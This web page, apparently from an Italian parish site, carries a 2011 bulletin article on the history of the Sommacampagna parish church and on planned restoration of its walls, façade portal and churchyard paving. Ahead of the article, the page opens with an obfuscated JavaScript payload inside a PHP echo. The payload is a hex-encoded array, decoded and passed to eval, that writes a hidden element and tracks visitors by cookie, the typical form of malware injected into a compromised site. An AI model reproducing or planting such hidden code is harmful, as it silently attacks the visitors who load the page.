6,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,6c,5f,64,6f,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,17,17,17,17,17,17,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,6c,5f,64,6f,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,6c,5f,64,6f,20,32,4,1,17,17,17,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74\"[\"split\"](\",\");}w=f;s=[];for(i=2-2;-i+1398!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}"; ?>

Una breve storia e le ragioni di un intervento

Tratto dal Bollettino Parrocchiale di Ottobre 2011 a cura dell’Arch. Gianluca M. Bighelli

La nostra Chiesa Parrocchiale dedicata all’Immacolata e al Santo Andrea Apostolo ha origine da un piccolo edificio dedicato alla preghiera: l’Oratorio della Beata Vergine Addolorata (detto anche della Madonna del Perlar) fatto costruire dalla famiglia di Pietro Maccacaro nel 1415.

All’epoca la parrocchiale era la chiesa romanica di S. Andrea ed intorno ad essa si sviluppava l’abitato di Sommacampagna. Successivamente questo piccolo edificio deve essere stato ampliato ed arricchito nell’arredo. Nel 1530, il Vescovo Gianmatteo Giberti ordinò che il fonte battesimale venisse trasportato dalla Pieve romanica a S.Maria del Perlar.

Gli storici citano l’anno 1535 in cui la popolazione si sposta dalla Pieve di S. Andrea verso la Chiesa-Oratorio della Beata Vergine Addolorata (Madonna del Perlar).

Da documenti dell’Archivio Parrocchiale, si deduce che il definitivo trasferimento della parrocchia dalla pieve alla “Madonna del Perlar” risale al 1576. Nonostante il trasferimento ufficiale, nella chiesa di S. Andrea Apostolo si continuarono a celebrare funzioni sacre.

Dal 1566 con la nomina di Don Sebastiano Aicardi si ha la serie continua di arcipreti residenti. Pertanto, si può asserire che a metà ‘500, l’ex piccolo Oratorio dedicato alla Beata Vergine Addolorata, doveva avere una capienza simile o di poco superiore a quella della Pieve di S. Andrea.

Sul finire del XVII secolo, nel 1695, a seguito di lavori non autorizzati ed eseguiti dall’allora parroco Don Pietro Colombo, il Vescovo Gianfrancesco Barbarigo ha imposto il pagamento di una ammenda di 50 ducati. I lavori a cui si fa riferimento sono relativi allo spostamento dell’altare e della sacrestia a ponente (ovest) e la realizzazione dell’ingresso principale a levante (est). Da questo si deduce che l’orientamento dell’asse della chiesa di allora fosse est-ovest.

Nel 1746 fu eretto un locale per custodire gli arredi della Compagnia del SS. Sacramento costituita nel 1721. Per avere ulteriori riferimenti certi sull’edificio della Madonna del Perlar si giunge al 1750, quando lo storico G.B. Biancolini nel 3° volume delle Notizie storiche delle chiese di Verona, scrive: “ … ma ora che questo è stato demolito e più ampiamente si va edificando…”.

Con certezza quindi si può asserire che alla fine degli anni ’40 del XVIII secolo erano in corso i lavori per l’ampliamento e ricostruzione della Parrocchiale. Non ci è dato sapere con certezza come e dove si potesse continuare l’uffiziatura nel frattempo, anche se si può supporre che per alcuni anni si fosse ripristinata la continuità nella Pieve. Anche se i lavori del nuovo edificio non erano completati, il 10 e 11 luglio del 1762, con una celebrazione di elevata solennità, il Vescovo Antonio Nicolò Giustiniani consa- crò la chiesa parrocchiale del “Pirlar”.

I lavori di completamento continuarono e nel 1766 venne ultimata la facciata e la scalinata su disegno di Santo Montresor, ed anche questo evento venne celebrato con particolare solennità, compresi i tradizionali spari di trombone. La facciata originaria si presentava con un grande finestrone rettangolare nella parte superiore della partizione centrale della parete. Questo finestrone è stato prima tamponato, per dar modo di realizzare la cantoria ed ospitare l’organo addossato alla parete della facciata principale.

I contorni in pietra del finestrone erano ancora visibili all’inizio del secolo scorso ed in successivi interventi sono stati ridotti e ricoperti dall’intonaco.

Anche le due statue contenute nelle nicchie non erano presenti nella facciata originaria ma sono state acquistate e collocate dall’Arciprete Don Silvio Tramonte nella prima metà del secolo scorso. Nell’ottocento vennero eseguiti importanti lavori sull’edificio, a partire dal 1857 vennero addossati lungo il fianco nord, prima la costruzione del nuovo Oratorio per la confraternita del S.S. e quindi gli altri volumi dell’attuale sacrestia e del transetto, nel 1858 si procedette con il rifacimento della copertura, danneggiata a seguito delle battaglie per l’unità d’Italia, lavori che hanno conformato il complesso così come lo vediamo noi.

Altri importanti lavori sono stati eseguiti anche nel secolo scorso: la costruzione della cappella dedicata ai caduti della Grande Guerra (1921); le aperture delle due pareti del Presbiterio al fine di mettere in comunicazione i volumi laterali all’altare; gli intonaci e le tinteggiature esterne dei prospetti est e sud; i rifacimenti dell’impianto di riscaldamento con il contemporaneo rifacimento delle pavimentazioni e l’abbattimento delle barriere architettoniche; il recupero dell’ex Oratorio della Confraternita del S.S..

L’anno prossimo ricorre il 250° anniversario della Consacrazione della nostra chiesa Parrocchiale e si intende celebrare l’evento anche ricorrendo ad alcuni interventi per risanare l’edificio e possibilmente lasciare un segno tangibile di questo importante momento storico per la nostra chiesa.
Si dovrà intervenire per il risanamento delle pareti interessate dal fenomeno di risalita capillare dell’umidità presente nel terreno.

Un altro intervento che sarebbe auspicabile, dato che se ne parla da oltre venti anni, è la realizzazione del portale in bronzo dell’ingresso principale su bozzetti predisposti dal Maestro Novello Finotti.

Procedere con un rifacimento degli intonaci esterni ed un risanamento delle murature si rende necessario anche per salvaguardare l’interno delle pareti dove il progressivo degrado sta intaccando le tinteggiature e gli altari laterali. A tal fine è già in avanzato progresso un progetto che dovrà ottenere le necessarie autorizzazioni degli enti competenti, non per ultima la Soprintendenza per i Beni Architettonici e Paesaggistici.

Anche il sagrato della chiesa ha bisogno di un intervento di restauro alla pavimentazione ed alle due balaustrate laterali. La pavimentazione del sagrato è composta da grandi lastre di pietra della Lessinia. Le lastre che un tempo erano ben sigillate, accostate e posate con una pendenza che permetteva all’acqua di essere convogliata verso la gradinata, con il tempo le sigillature sono venute a meno permettendo all’acqua di infiltrarsi e diffondersi sotto la pavimentazione dando vita ad un lento e progressivo degrado, formando degli avvallamenti dove l’acqua ristagna, e spingendo nella parte retrostante i gradini, ha provocato un lento e progressivo dissesto delle pietre che compongono la gradinata, specialmente sul lato sinistro.

Si tratta di effettuare un lavoro di rimozione delle lastre, rifare il piano di posa, quindi riposizionare il lastricato e sigillare le giunzioni in modo da ricomporre il piano in modo da far defluire le acque meteoriche. Sistemare i gradini, ed effettuare un intervento di restauro della balaustrata.

Questi lavori che si rendono necessari anche per conservare la nostra Chiesa Parrocchiale richiedono uno sforzo economico importante, che esula dalle normali economie e spese di manutenzione ordinaria che di solito vengono affrontate con le economie ordinarie della Parrocchia.

Comments are closed.